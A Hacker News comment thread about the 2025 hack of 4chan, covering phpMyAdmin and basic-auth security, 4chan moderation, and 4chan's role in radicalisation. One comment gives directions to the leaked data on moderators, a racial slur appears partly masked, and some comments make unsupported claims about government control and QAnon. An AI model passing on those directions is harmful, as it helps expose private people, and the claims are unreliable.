| to align the intention with the zeitgeist. If the Sarah
| Silverman-esque posters ever looked up and realized, "Oh,
| they don't know it's a joke, they're ACTUALLY Nazis," it was
| too late to shift things back. (Unless you were in a
| Boondocks thread on /co/, in which case correction was freely
| forthcoming.)
|
| Probably didn't help that at least one mod wanted 4chan to
| become more racist, on purpose.
| LeafItAlone wrote:
| >Creative irreverence was replaced with regular childishness.
|
| I'd suggest taking off those glasses as they are a bit too
| rose-tinted. I was there, just like you, and the humor was
| way more "childishness" than "creative irreverence" well
| before 2010.
| DrillShopper wrote:
| 4chan is not "old internet". Not even close. It's predated by a
| bunch of forums (including 2channel) on the Internet, some
| anonymous.
| snvzz wrote:
| As far as image boards go, 4chan is the first successful (and
| longest surviving) English-speaking 2chan clone.
|
| 2chan is a japanese site.
| p3rls wrote:
| It's not so much that we lament the old internet, we lament
| that the new internet cannot be built because incumbents like
| google have distorted the playing field with shitty algorithmic
| SEO practices-- which really has nothing to do with 4chan at
| all.
| dimal wrote:
| But really, 4chan-style bullshit took over the rest of the
| internet. At least in the old internet, it was self contained
| there. If someone spouted nonsense they read on 4chan, you
| could easily dismiss them as a crank. Now everyone is posting
| and reposting bullshit on a multitude of microblogging
| shitsites.
| protocolture wrote:
| I honestly and sincerely miss the project chanology days.
|
| https://en.wikipedia.org/wiki/Project_Chanology
| cbg0 wrote:
| Hosting a copy of phpMyAdmin behind basic HTTP authentication in
| 2025 really is asking for it.
| jsheard wrote:
| I was kinda surprised to see that phpMyAdmin is still
| maintained, albeit only barely. The last release was in January
| but before that it hadn't been touched for over two years.
| pelagicAustral wrote:
| This stuff is still packaged with cPanel, which is probably
| the most common way to manage web servers on the internet.
| Macha wrote:
| I wonder how long it's been since that was true. I think
| that era passed when most small businesses and individuals
| moved from self hosting to SaaS.
| technion wrote:
| Nearly every website developer servicing small business
| builds a WordPress site and sets it up on a hosting
| company's cPanel install with phpmyadmin running by
| default.
| jsheard wrote:
| I guess those installs are the ones the Wordpress vuln
| scanners are looking for when they spam my server with
| /wp-admin/ requests.
| Macha wrote:
| Which are far far outnumbered by people setting up
| squarespace sites, or shopify sites or facebook pages or
| twitter profiles these days.
|
| It was definitely true at one point that small scale
| indie web devs and small business contractors outnumbered
| big tech in both headcount and servers. I don't think
| that's been true for a while now.
| mmcwilliams wrote:
| Do you have figures for that?
| doublerabbit wrote:
| I serve a cPanel hosting, some people just want something
| up and running now which cPanel provides.
|
| With Softaculous for automatic installation of scripts
| it's still widely popular for Wordpress installations.
| Web hosting is however a very dead market to startup in.
| whalesalad wrote:
| A tale as old as time
| TonyTrapp wrote:
| Can you please elaborate how it is "asking for it" if we assume
| the basic auth password is reasonably complex and kept as safe
| as, say, the SSH login credentials of the same server?
| cbg0 wrote:
| You shouldn't be logging in to a server via SSH using a
| user+password combo, instead use a public/private key combo
| which is considerably more complex and can't effectively be
| bruteforced like a user+password.
|
| Most web servers don't really come with any built in defense
| against brute force attempts vs Basic Auth gates, so unless
| you've set something up to protect it, someone with enough
| time will eventually get in.
| lossolo wrote:
| > someone with enough time will eventually get in
|
| That's only correct if the password is weak. With enough
| entropy, it's practically impossible to brute force.
| ArinaS wrote:
| > " _can 't effectively be bruteforced like a
| user+password._"
|
| Only when the password is weak enough to bruteforce
| swiftly. It will take literally thousands of years to
| bruteforce strong passwords.
| DrillShopper wrote:
| But you only need one weak password to get in
| that_guy_iain wrote:
| But you only need one password to protect your HTTP auth
| phpMyAdmin so just make it 30 characters.
| voidUpdate wrote:
| Genuine question that I haven't found a good solution to
| yet, if I want to just go to any old computer and ssh into
| my server, do I have to carry around a USB stick with the
| ssh key on or something? because I sure as hell wont be
| able to just remember it
| pjc50 wrote:
| The preferred solution would be something like a Yubikey.
| However:
|
| > just go to any old computer and ssh into my server
|
| You've typed your password into a computer you don't
| control. Now it's gone. Same for plugging in the USB
| stick. The Yubikey approach mitigates that.
|
| Assuming you want to do this, the best practice you can
| achieve is just making the password long.
| voidUpdate wrote:
| I mean, the password to the only ssh thing accessible
| from outside is 17 characters, and root is not ssh-able,
| only my user with a custom username
| theossuary wrote:
| In that case I'd normally recommend a bastion host with
| SSH MFA and fail2ban. It'd be publicly available and have
| SSH keys for other machines. Or you could look at setting
| up a VPN solution with MFA, but never have a password
| only admin login exposed to the public Internet.
| haiku2077 wrote:
| There's no secure way to do that. You have no guarantee
| that the computer won't copy your key or keylog your
| password.
|
| You can mitigate it by using an MFA method that requires
| confirming on a separate device like a phone, but that's
| down to one layer of defense.
|
| I use an SSH app on my phone for remote access, and I go
| over a VPN. SSH is not exposed to the public internet.
| ceejayoz wrote:
| I haven't used it for many years now, but phpMyAdmin was long
| a source of compromises. Lots of security holes.
| TonyTrapp wrote:
| That's my point - if you have a reasonably secure password
| (let's say 50-100 characters, fully random), it's extremely
| unlikely that anyone is ever going to even get beyond the
| basic auth prompt.
| ceejayoz wrote:
| Until there's a bug that lets you bypass it.
| TonyTrapp wrote:
| Then you should also be worried about bugs that let you
| log into an SSH session without providing your SSH
| certificate, passkey or whatever. Authentication bypass
| can happen with pretty much _any_ buggy authentication
| method. None of this is inherently a problem of passwords
| or basic auth.
| ceejayoz wrote:
| Sure, but phpMyAdmin has a _long_ history of major
| security holes. It 's existence on a server tends to be a
| red flag.
| TonyTrapp wrote:
| Again, the premise was that phpMyAdmin is secured behind
| basic auth. It doesn't matter how secure or insecure
| phpMyAdmin is, it only matters how secure whatever
| webserver is that it is served through. phpMyAdmin code
| isn't even touched before the basic auth login was
| successful. Only after that, it becomes relevant, in that
| you either find a hole in phpMyAdmin itself, or you have
| to break another (hopefully strong) password for the
| MySQL login itself.
| ceejayoz wrote:
| It's not using the webserver's basic auth, it's using
| their own implementation (https://github.com/phpmyadmin/p
| hpmyadmin/blob/297c1e174b93a9..., via PHP's:
| https://www.php.net/manual/en/features.http-auth.php).
| TonyTrapp wrote:
| You can easily put phpMyAdmin _behind_ basic auth as an
| additional security layer, completely bypassing any PHP
| execution and letting the web server completely handle
| the authentication. It 's exactly what I have done
| multiple times in the past. Arguably phpMyAdmin's direct
| integration is a less secure way of doing it, but do we
| even know if it's the basic auth itself that was
| bypassed, or was it just the case of a weak password?
| ceejayoz wrote:
| Sure, and I can put the VX gas vials in a safe in my
| basement, but I'd rather not have them anywhere near me
| _at all_.
| udev4096 wrote:
| A password is just plain text, which apart from being
| bruteforced, can easily be phished. There are so many things
| wrong with using a password even if it's fairly complex.
| Instead, stick to passkeys and SSH keys
| lossolo wrote:
| Sure, if you slap Basic Auth with "admin:admin" on phpMyAdmin
| in 2025, you're asking for it. But a Basic Auth password with
| 256 bits of entropy is just as resistant to brute force as
| AES-256 (assuming the implementation is sound and TLS is used).
| It's not the protocol that's insecure, it's usually how it's
| deployed.
| andruby wrote:
| Only if it's only accessible via proper TLS (otherwise it's
| easy to read the user/pass with MITM as basic auth doesn't
| encrypt the user/pass).
|
| If there is no throttling/rate-limiting/banning then this
| setup allows for a lot of attempts, wether brute-force or
| dictionary.
| RockRobotRock wrote:
| What is "a lot of attempts"? I'm no expert in cryptography,
| but there's many orders of magnitude difference between a
| distributed bruteforce of a known hash, and bruteforcing
| over the web.
| jeroenhd wrote:
| As long as "a lot of attempts" take longer than the time
| it'll take the sun to expand and envelop the earth, that's
| not really a problem.
|
| Every form of authentication is either subject to "a lot of
| attempts" or trivial DoS (for when you rate limit the login
| API so now admins can't log in either). The principles
| behind modern authentication are mostly "how do we make
| verification require even more attempts if the attacker
| doesn't know the password".
| ndiddy wrote:
| The hacker posted a screenshot of the shell on the 4chan
| server. It was running FreeBSD 10.1, which came out in 2014 and
| stopped getting patches in 2016. It seems like there was
| basically nobody doing maintenance after moot sold the site. I
| wonder how long it'll take for them to get the site back up if
| they don't have anyone who can do server administration.
| trallnag wrote:
| Jannies had it coming tbh. They were certainly tightening the
| rope when it came to free speech in the last few years
| pjc50 wrote:
| Always curious to know what kind of speech this kind of
| complaint refers to.
| krige wrote:
| Free. In practice whatever a given janny doesn't like gets
| the boot. The moderation can get REALLY schizophrenic
| depending on time zone, and there are persistent rumors that
| certain boards are controlled by groups of interest (notably
| the cesspool known as /pol/ is very astroturfed).
| giraffe_lady wrote:
| Free isn't a kind of speech, it describes a condition under
| which speech is performed. Their question was what _kind_
| of speech is being alluded to.
| krige wrote:
| Their question was a gotcha attempt, and a misguided one
| at that, hence the answer specifically not playing along.
| giraffe_lady wrote:
| Once you've made this many comments about it and are
| still unwilling to describe the acts you're defending I
| would certainly call that playing.
| lupusreal wrote:
| You're clearly confused. This conversation is about 4chan
| jannies, not reddit moderators. They don't ban you for
| posting racial slurs or fascist rhetoric, or any other
| traditionally offensive material.
|
| Make a thread about Chinese naval buildup or related
| strategic developments in the Pacific on /k/; banned for
| "off topic". Get into an argument with a user who turns
| out to be a janny; banned for "trolling". Respond to a
| funny /tv/ thread memeing on some TV show, banned for
| "responding to off topic threads". Post a dozen pictures
| of rockets in the spaceflight general being raided by
| some /pol/tard who thinks space is fake, get banned for
| "spamming".
|
| The jannies are arbitrary and capricious. Three day bans
| can't be appealed so they hand them out like candy.
| kotaKat wrote:
| There's also a "janitortest" account in the leaked list
| @4chan.org so who knows if there was just a shared password
| flying around...
| A_D_E_P_T wrote:
| It's not what you think.
|
| Let me give you an example. /k/ is the weapons/military
| forum, and it's unironically run by US government
| authorities. Vulgar racial slurs are wholly permitted -- but
| if you question certain aspects of US military or foreign
| policy, or suggest that Russia/China/etc. aren't houses of
| cards that will topple the moment the US wills it, your
| comment will probably be deleted and you'll be hit with a
| 3-day ban.
| Wobbles42 wrote:
| /k/ has been the U/k/raine board since that invasion
| started and you risk a ban for deviating from that topic.
| jterrys wrote:
| /k/ has hated Russian milsurp slavshit far longer than
| they cared about Ukraine. For years Russiaboos would shit
| up the board that almighty AK superior firearm or that
| Russian magical remote turret tank best tank in the world
| or that new gen fighter plane best stealth plane in the
| world and all 1/10 of stupid american military budget
| bullshit.
|
| turns out all that crap was just what everyone expected
| it to be: fabricated lies. And also Russians are really
| bad at conducting war and resorting to meat wave tactics.
| For a board that cares about firearms and military
| tactics, it didn't take too much of a far reach to
| dislike and laugh at Russia.
| axpvms wrote:
| Your hugbox is on /chug/
| kcatskcolbdi wrote:
| Are you genuinely curious, or do you already know this kind
| of complaint refers to offensive, racist, hateful speech
| (otherwise known as the type of speech that requires
| protection, since civil speech that agrees with the popular
| worldviews does not need protecting)?
| Whoppertime wrote:
| If you post "What are your favorite snacks at the movie
| theater?" you can get a 3 day ban from /ck/ which is too
| short to appeal. I posted a thread on the Television and
| Movie board asking what people thought of Matt Walsh's movie
| What is a Woman and got a 3 day ban which was too short to
| appeal for posting off topic
| snvzz wrote:
| Blaming the victims is not cool.
|
| Particularly, when these are good people who put a lot of
| effort into keeping 4chan a pleasant community, by e.g.
| removing hate speech and CSAM, as well as banning offenders.
| trallnag wrote:
| My comment wasn't completely serious and should be taken with
| a grain of salt. But for example there is / was a German
| janitor or moderator that that treated the German general on
| /int/ as his personal safe space
| mardifoufs wrote:
| 4chan janitors aren't victims of anything no matter what
| happens to them.
| shadowgovt wrote:
| It's a web forum, not a Superfund site.
|
| Instead of burning personal time and energy on trying to
| clean up 4chan, a person can always just... Not.
|
| Let it burn and sink into the swamp. Stop making that DNS
| query.
| geriatric-janny wrote:
| My official association with 4chan ended in 2010, but I still
| recognise a good third of those names and would wager the leak is
| legit.
| delusional wrote:
| What kind of official association could one have with 4chan?
| 4chan was formative for my early connection to the internet,
| and I'm really curious what the organization behind it looked
| like. Was it professionally driven, or just some random guy
| mailing checks? stuff like that.
| no_time wrote:
| Well... A full dump of the board exclusive to moderators and
| janitors was leaked too so now you could take a look
| yourself.
| geriatric-janny wrote:
| I lied about my age and was given janitor access in the mid
| 2000s. There was a special /j/ board to coordinate on, but it
| broke relatively early, and you mostly had to hang out in the
| #janiteam channel on Rizon. I think almost everybody else was
| underage as well. There was a minimal web overlay that let
| you delete/escalate posts. You couldn't see people's IPs, but
| you could see how many outstanding ban requests they had.
| These numbers helped me deduce that many boards' most
| infamous personalities were all the same guy.
|
| We were all offered the chance to become mods in 2010, but
| moot wanted to see our faces on a Skype call. I thought that
| was a step too far and just gradually stopped caring after
| that. Seems like I made the right choice.
|
| On the whole it was barely held together technically and
| organisationally, mostly run by moot's personal friends, and
| fun all around. Things were far less serious then.
|
| And the checks arrived on time every month: $0.00
| delusional wrote:
| Sounds about like what I would have expected as a (also
| underage) user at the time. The suspicion was always that
| most of the memorable joke chains were probably just one
| guy self-replying (I always suspected that was the case for
| the hunter2 meme specifically). It didn't really matter, it
| was funny anyway.
|
| Thanks for taking the time to reply, and thanks for the fun
| back then :)
| petecooper wrote:
| >And the checks arrived on time every month: $0.00
|
| Unexpectedly poignant.
| dmonitor wrote:
| > These numbers helped me deduce that many boards' most
| infamous personalities were all the same guy.
|
| Simultaneously one of the best and worst parts about the
| website was how much a single person could create
| influence. Some guy spamposting "30-year old boomer" memes
| eventually turned boomer and zoomer into mainstream
| terminology.
|
| I remember a long time ago, a general that I would frequent
| attracted the attention of a lunatic who would frequently
| try to ruin threads by spam posting corrupted unloadable
| images until the bumpcap was reached. It made a successful
| thread with no incidents feel like a moment of success.
| kelipso wrote:
| Milhouse is still not a meme.
| Pikamander2 wrote:
| That's true. But on the other hand, "Millhouse is not a
| meme" is in fact a meme.
| jjmarr wrote:
| I like how this was the origin of the "virgin/Chad
| memes". Some guy kept spamming a meme about the "virgin
| walk" to make people feel self-conscious, and then
| someone made a joke response called the "Chad stride".
| Years later, those two are inseparable in popular
| culture.
|
| A literal thesis, antithesis, and synthesis.
| ogurechny wrote:
| Mods of any decently sized forum can point to very
| special users participating in intense sockpuppetry,
| flamewars, getting back after being banned 20 times, and
| so on. It's not specific to 4chan.
| dmonitor wrote:
| The nature of 4chan makes it more difficult to
| distinguish from just normal posting. There's not any
| kind of paper trail to look at and potentially ID the
| posters.
|
| It's also somewhat expected on the site from a cultural
| standpoint? Having a recognizable posting pattern gives
| flavor to a system that is otherwise composed of
| completely interchangeable posters. Like /v/ has one guy
| that constantly makes threads that are designed to
| devolve as quickly as possible into posting images of
| anthropomorphic lizards. It's not much of a nuisance so
| much as it makes the place feel comprised of genuine
| people.
| newZWhoDis wrote:
| For those OOTL about that last part, a common meme/troll of
| the moderators/jannies is
|
| "They do it for free"
|
| People would post rule breaking content and say "clean it
| up janny"
| lurk2 wrote:
| He was a janitor. On the internet. He did it for free.
| blitzar wrote:
| Username checks out.
| Blikkentrekker wrote:
| So you were able to find the leak? Because I see reports that
| it was hacked repeated as fact everywhere on _Daily Mail_ -tier
| reliable news websites and Reddit posts, but they are all based
| on "rumors on social media go about that there was a leak" but
| I've not been able to find the actual leak searching for it.
| Obviously not many people want to link it but it's also weird
| that so many people claim to have so easily been able to find
| it when I cannot.
|
| Finally, I was there and using it when the website went down
| and this did not resemble an actual hack but technical issues.
| First there were a couple of hours where the website was up but
| no posts went through for anyone except occasionally when a new
| threat was bumped, mirroring the normal pattern of downtime
| issues that sometimes occur and then it just went down
| completely. This doesn't really resemble how a hack plays out
| but looks more like technical issues to me.
|
| Even now, going to the front page, it loads for me, except very
| slowly and incompletely. This does not resemble a hack but
| technical issues.
| DaSHacka wrote:
| I would've taken you less time to find the 'sinister' content
| yourself than leave this sprawling reply
|
| To your point:
|
| It's more likely than not real, it contains configs for the
| entire site.
| Blikkentrekker wrote:
| Well, so you say, but every single news website that I can
| find willing to say something on the matter is either The
| _Daily Mail_ and similar things that also say they based
| their information on leaks on "social media rumors" or more
| reputable websites that also say it 's a rumor that there's
| a leak. One would assume if it be so easily found and I'm
| so incompetent that these news websites could've found it
| themselves and come with more certain claims.
| DaSHacka wrote:
| I left a clue in my original reply.
|
| I'm not spoonfeeding any harder than that.
|
| Lurk moar or GTFO
| titaphraz wrote:
| That's a bit sinisterly of you.
| HaZeust wrote:
| Needed this 4chan-esque snark; was almost getting
| withdrawal shakes.
| azernik wrote:
| If you're looking for a link to the results of illegal
| hacking, then I humbly suggest that aboveboard news sites
| are not the place to look.
| Blikkentrekker wrote:
| I'm saying I searched and I couldn't find it but what I
| did find was many news websites that reported it but said
| they couldn't confirm these rumors themselves and said
| they were just that, rumors. I found threads about it on
| other anonymous textboards where people would have no
| compunction to post the links and yet they didn't. The
| news sites don't just say "We obviously won't post the
| links." but "We couldn't confirm these rumors.".
|
| Edit: I finally found one news website willing to
| actually confirm it though. The Daily Dot claims to have
| accessed the leaked information and verified it for
| itself.
| geor9e wrote:
| Click the HN headline, click the 1st external reference,
| click the 1st thread. The first post is the leaker
| speaking. Beware that website, the thread, and 4chan
| itself, are all, at best, in a legal grey area.
| huehehue wrote:
| My association was a bit later, mid to late 2010s. I recognize
| some of the names as well, including one of the top folks that
| probably onboarded both of us.
|
| That said, my info is not on the list, I assume it was deleted
| when I left.
| wickedsight wrote:
| This makes me wonder whether there's anything in there that can
| point to the identity of the original QAnon. That would be a
| pretty interesting outcome.
| swarnie wrote:
| Aren't we 99% sure that was a Ron Watkins grift now?
| wickedsight wrote:
| That's why I wrote 'the original'. It's very possible Watkins
| took control after Q moved from 4Chan to 8Chan from what I've
| read. I'm far from fully up-to-date on this saga though.
| AnnaRiot wrote:
| I am pretty sure Q was originally started by the guys
| behind Cicada3301 before Ron took over
| Wobbles42 wrote:
| This is a genuinely interesting assertion. Is there any
| evidence of this?
| ribosometronome wrote:
| Given the nature of the hackers and their immediate actions, it
| seems unlikely they would reveal that sort of information.
| Borgz wrote:
| 4chan doesn't store threads for very long, hence the plethora
| of third-party archive sites. I doubt they are still storing
| any useful data from back then.
| SirFatty wrote:
| Surprised that the admins have any personal details associated
| with their 4chan profile.
| OuterVale wrote:
| Posted link is a tad vulgar and scarce on information. A bit of a
| collection forming on The Sun's live blog post:
|
| Thousands of 4Chan users report issues accessing controversial
| website - https://www.thesun.co.uk/tech/34472708/4chan-down-
| updates-co...
| dang wrote:
| (Posted link was originally https://old.reddit.com/r/4chan/comm
| ents/1jzkjlg/4chan_hacked.... We since changed it.)
| anigbrowl wrote:
| Why would you use the Sun as a source for anything
| TheAceOfHearts wrote:
| There's a KnowYourMeme [0] post with additional details and
| context. Most interesting to me is finding out that there' s a
| word filer / transformer, so SMH becomes BAKA and TBH becomes
| DESU, as two examples.
|
| [0] https://knowyourmeme.com/memes/events/april-2025-4chan-hack
| tanjtanjtanj wrote:
| Yep, it's been that way for 20+ years!
|
| The term "weeaboo" as a term for western anime fans only came
| about because it was what the word "wapanese" filtered to. It
| was originally a nonsense work made up in a Perry Bible
| Fellowship comic.
| dang wrote:
| That does seem to have more information, so I've changed the
| top url to that from https://old.reddit.com/r/4chan/comments/1j
| zkjlg/4chan_hacked.... Thanks!
| FMecha wrote:
| From what I heard, it was because they were tired of people
| posting "tbh fam". This does result in people instead posting
| "tbdesu" in being aware of the filter.
|
| A note that the filter for "doublechan" was never updated to
| include its current name, nor the place where this current
| attack originated was ever filtered, afaik.
| swarnie wrote:
| One of the best websites on the internet. Hopefully not gone
| forever.
| rootsudo wrote:
| Wow doxing the Jannies!
|
| I mean, wow, they're doxing people that helped keep a legacy
| internet place alive and compliant with the law.
|
| Who would do that?
| masfuerte wrote:
| The man.
| joseda-hg wrote:
| Sound right up the alley for a 4chan user
| t0lo wrote:
| Whoever's trying their hardest to shut down the rest of the
| free internet as well. I do think these actions we've seen in
| the last 5 years are co-ordinated. Will post sources soon
| Loughla wrote:
| Please post sources. And what other sites are you talking
| about?
| Alifatisk wrote:
| > Will post sources soon
|
| When?
| jmyeet wrote:
| 4chan will be studied for years for its role in alt-right
| radicalization as well as being a baroemeter for young male
| discontent.
|
| For example, QAnon started on 4chan (I believe as a joke?) [1].
| Nowadays a lot of 4chan users and traffic have since migrated to
| Twitter for pretty obvious reasons. Pseudo-intellectual racism
| has a lot of roots in 4chan (eg the popularity of Julius Evola
| [2]) that's deeply tied to "trad" content, Andrew Tate fandom,
| the manosphere and "self-improvement" [3].
|
| Things like the Bored Ape Yacht Club originated on 4chan and it's
| full of racist memes [4]. A lot of racist and antisemitic memes
| originated on 4chan.
|
| Worst of all, it seems like Elon Musk is motivated by a deep
| desire to be liked by 4chan [5].
|
| So the point is that 4chan users (and admins) have a lot of real-
| world influence and that's kinda scary. It also makes them a
| target for this kind of hack. I suspect a lot of people will be
| exposed by this and in more than a few cases, you'll find ties to
| the current administration.
|
| [1]: https://www.nbcnews.com/tech/tech-news/how-three-
| conspiracy-...
|
| [2]: https://jacobin.com/2022/12/fascism-far-right-evola-
| bannon-b...
|
| [3]: https://www.nature.com/articles/s41599-021-00732-x
|
| [4]: https://www.youtube.com/watch?v=XpH3O6mnZvw
|
| [5]: https://www.aljazeera.com/opinions/2025/4/6/how-musk-
| ushered...
| VectorLock wrote:
| I would be 0% surprised to see Stephen Miller's information in
| this leak.
| howmayiannoyyou wrote:
| If you're looking for malign influence on 4chan - look
| outside the US. Anyone on /pol/ and /k/ after Oct 7th
| understands clearly who has been influencing if not
| controlling the site.
| reverius42 wrote:
| I think it's the other way around; keen observers have
| noticed a 4chan influence on the US Government's policies.
| properpopper wrote:
| For users who aren't familiar with 4chan - this post describes
| only one board - /pol/, where you can find hateful posts about
| every race and religion. 4chan have 30+ boards in total
| CodeCompost wrote:
| Well that's OK then.
|
| /s
| wegfawefgawefg wrote:
| To add context, every male in my high school went on that
| site. Pol was just a place crazy people posted. We used to
| laugh and read eachother dumb copypastas at lunch with
| gorgonzola cheese rhymes and bad puns.
|
| The average 15yo boy have enough mental hygiene to know
| everything you read online is false. The website is not a
| nazi factory.
| rescbr wrote:
| > The average 15yo boy have enough mental hygiene to know
| everything you read online is false. The website is not a
| nazi factory.
|
| The real problem is when the internet leaks and boomers
| assume everything they read online is true.
|
| Worst part of it all? My parents always told me not to
| trust what's on the internet, and now I have to tell them
| 99% of what they see on FB or whatever is AI trash and
| lies.
| Philpax wrote:
| Hmm, I'm not sure all 15 year old boys do, though:
| https://en.wikipedia.org/wiki/2022_Buffalo_shooting
| wegfawefgawefg wrote:
| Do you remember when people thought first person shooters
| made people into murderers because the colombine guy
| played doom a lot and made a custom wad to simulate the
| attack?
|
| If a murderer eats omelettes every day we should ban
| eggs. Eggs turn people into murderers.
|
| Reminder some kids died jumping off buildings with
| umbrellas after Marry Poppins. Ban movies.
| Philpax wrote:
| There's a difference between monkey-see-monkey-do and
| intentional group self-radicalisation. You don't become a
| racist neo-Nazi teenage mass murderer _de novo_.
| asdff wrote:
| A subset of the population will always be murderous and
| delusional about something. Just a fact of biology that
| not everyone is physically or mentally fit.
| Philpax wrote:
| Sure. It's probably not a good thing we have spaces
| designed to cook the brains of users to the extent that
| their weakest links are driven to act on their worst
| impulses and commit ideologically-driven murder, though.
|
| I'm generally on the side of free speech, but having
| visited /pol/, I can't say it is/was a good place for its
| inhabitants or society at large.
| ogurechny wrote:
| Nitpicking:
|
| a) It seems that no one actually saw the school map to
| state that it really exists.
|
| b) Doom maps are flat 2D blueprints with varying floor
| heights, they are quite unsuitable to "simulate" any
| building with multiple floors, not to mention complete
| lack of realism in everything else in the game (say,
| player has a speed of a car relative to the environment).
| There are some tricks in modern ports to combine detached
| level geometry into seemingly whole thing for niche maps,
| but those were not available at the time.
|
| c) Trying to copy one's own school, house, or city block
| is the most stereotypical thing kids do when they find
| the level design tools. I remember quite a number of
| Counter-Strike maps that were nice at least visually, if
| not gameplay-wise, which were made that way. Surely, not
| everyone put that much work into a typical map made to
| play a couple of times with friends.
|
| It seems that cases of overreaction to such funny
| nonsense that still happen after 30 years, despite
| everything, are something to scratch your head about.
|
| The real situation is more complex. Harris did use game
| metaphors:
| https://doomwiki.org/wiki/Columbine_High_School_massacre
| Of course, those cliches are not unique to Doom, and were
| just borrowed from comics and fantasy. We should
| generalise. The real hypocrisy is that people like to
| enjoy media and entertainment about The Hero domination
| everything and everyone, and don't want to be restricted
| in consuming that, but, at the same time, they don't like
| to become mere film extras that get shot by the dozen
| when some idiot believes in that fantasy a bit too much,
| and decides to live the dream. This is not limited to
| shootings. If you hate people so much, but instead of
| getting guns and ammo get yourself hired by social
| network data extraction press, it's not a straight path
| to electric chair, but a "successful IT career". If you
| read trashy action packed novels, and consider that
| crippled offspring of romanticism as ideal life, you can
| try that high-adrenaline amusement ride, as long as it
| happens in some distant land, and can be called "military
| career" by others.
|
| So media and entertainment significantly shape everyone's
| life, but limiting that argument to a small number of
| scapegoat cases is cowardice.
| wegfawefgawefg wrote:
| The general point though is if 99.999% of people doing a
| thing are fine, but one wacko who likes the thing does a
| shooting, the evidence for causal connection between the
| thing and the wackos impetus is beneath the noise floor.
|
| If you are trying to make the argument that The Heros
| Journey is subtely toxic and evil, well thats just too
| sophisticated an argument for me. 70% of humanity
| believes in god. We live beyond truth and measure.
| Welcome to monkey planet.
| pjc50 wrote:
| Perhaps the _average_ one does, but some get sucked in, and
| if there 's no Nazi factory where are all the nazis coming
| from?
|
| https://www.bbc.co.uk/news/articles/cqx4wlynjw5o
|
| How many mass shooters had obvious 4chan radicalization
| roots? Christchurch definitely.
|
| > everything you read online is false
|
| In its own way, this is also poisonous. It enables
| holocaust denialists and anti-vaxxers: after all, vaccines
| and holocaust memorials are on the mainstream internet, so
| they must be false, right?
| wegfawefgawefg wrote:
| A healthy skepticism is good.
|
| Have you gone on social media recently? It is like 90%
| nonfactual weirdness. Even here on hackers news its tons
| of mutually exclusive unfalsifiable assertions of
| perspective, not fact.
|
| I dont know about your family, but mine is pretty
| religious. Listening to their conversation during
| thanksgiving gives me about a 90% nonfact rate.
|
| I think humans are just are not beings of fact in
| general.
| asdff wrote:
| Next you will be asking for trump to ban rap music to
| stop drug trafficking
| GuinansEyebrows wrote:
| They didn't in 4chans heyday and they certainly don't now.
| Hell, adults with decades of life experience can't figure
| this out either.
| LinuxBender wrote:
| Adding even more context /pol/ is about who can be the most
| edgy edgelord of the hour. I doubt there are more than half
| a dozen actual racists people on it not counting 4Chan-GPT.
| trealira wrote:
| It's not hard to find people with a racist /pol/er's
| opinions in real life, or on other social media like
| Instagram or Twitter. Maybe /pol/ in particular is/was
| filled with bots, I don't know, but such extreme racism
| is not as uncommon as you imply these days.
| LinuxBender wrote:
| They put on a good show. Real racist people post videos
| of the f&#$ed up things they do to others that I won't
| even describe here. They know better than to use a clear-
| web site _especially one using a CDN_ to show off their
| behavior. Those forums are on Tor.
|
| 4chan is nearly all angsty edgy teens on their cell
| phones at school trying to act tough and edgy and even
| they get arrested when talking tough about cops or
| pulling shenanigans like defacing or vandalizing property
| to _be cool_. That 's a different interesting topic.
| Search youtube for all the 4chan unstable kids getting
| arrested. It's on-par with all the unstables vandalizing
| Tesla cars.
| trealira wrote:
| Well, I believe you that there are lots of kids there
| that try to seem racist for 4chan cred, and I guess
| people would know not to post videos of themselves doing
| those illegal things.
|
| But I remember they had stuff like "n*gger chimpout"
| compilation threads, and whenever people talk about what
| they blame on Jews, they seem to be actually bitter and
| angry, so they do seem legitimately racist. I wouldn't be
| surprised if there was a lot of overlap with the people
| who do commit those acts of violence you're talking
| about, but even if not, I don't think you could say
| they're not real racists just because they don't post
| videos of themselves committing violent hate crimes. The
| board is just diluted by low-effort threads and bait by
| users of other boards.
| LinuxBender wrote:
| _But I remember they had stuff like "n_gger chimpout"
| compilation threads*
|
| I guess that's why we don't really see quite eye-to-eye
| on this. I've seen all those threads and to me that's
| just kids being edgy because they know it triggers or
| activates people. Every group has it's trash and they are
| just singling out one specific groups shenanigans. The
| same behavior can be found of every breed of human and
| they would post it if it was edgy to do so. My breed has
| no shortage of dumb behavior but when it's posted people
| feel comfortable laughing at it thus it's not edgy or
| taboo enough.
|
| As a side note, most of the kids on 4chan are also here
| on HN. They talk about this site, its users and dang all
| the time. I'm sure they are not happy that I am pointing
| out they are just LARPing.
| trealira wrote:
| Compilation threads like those seem to me more like ways
| to make each other angrier and more racist. I think they
| legitimately just hate black people. Like, there's
| definitely some element of smug self-aware memey edginess
| about being racist, but there's also unironic vitriolic
| racism. But yeah, I guess we just disagree here on this.
| jmyeet wrote:
| This is /pol/ focused, yes, but the other boards aren't
| separate worlds. It's all part of what many call the "alt-
| right pipeline" and it's subtle and insidious.
|
| For example, many (particularly women) have consumed Candace
| Owens's content about the Blake Lively / Justin Baldoni saga,
| just like many followed certain creators with the Amber Heard
| trial. Both of thse fall squarely on the alt-right pipeline.
|
| So you may start folloing 9gag. Particularly if you're young,
| you may enjoy being "edgy" but a bunch of that is actually
| normalizing right-wing views. Even seeking validation on /b/
| fits this.
| arandomusername wrote:
| How is this different from, for example, reddit? You may
| start following reddit, niche subreddits, but in reality
| it's normalizing left-wing views
| attemptone wrote:
| How "subtle and insidious" is it really? I'd say it is
| shifting the blame of personal responsability to a website.
| Me and some of my friends use(d) 4chan and we never fell
| into the pipeline. To the contrary there is a strong left-
| wing camarederie. And I'd wager that we recognize subtle
| right-wing views more easily. One doesn't learn about these
| views by looking at a twitter screenshot but by engaging
| them.
|
| We should stop treating right-wing ideology as a mind-
| parasite. And if we do it anyways, we should accept that
| some people want to get "infected".
| busterarm wrote:
| Sorry, but you don't find any of that shit in /k/ or /m/ or
| a dozen of the other most popular boards on the site.
|
| You literally are making shit up.
| beeflet wrote:
| >Candace Owens's content about the Blake Lively / Justin
| Baldoni saga, just like many followed certain creators with
| the Amber Heard trial.
|
| No offense, but this just sounds like gossip
| bobsmooth wrote:
| So insidious you could be alt-right without even knowing!
| Blikkentrekker wrote:
| It doesn't even describe /pol/. This is what 4chan thinks of
| /pol/ but when you actually go there there is a pluriformmity
| of opinions and it's indeed mostly just about current events.
|
| The biggest good thing that came out of 4chan and 8chan to me
| is that it made me extremely weary to ever trust second-hand
| reports about some place and made me better at identifying
| reports that read like "This person dislikes this place,
| never visited it, and just reasons together what it's like.".
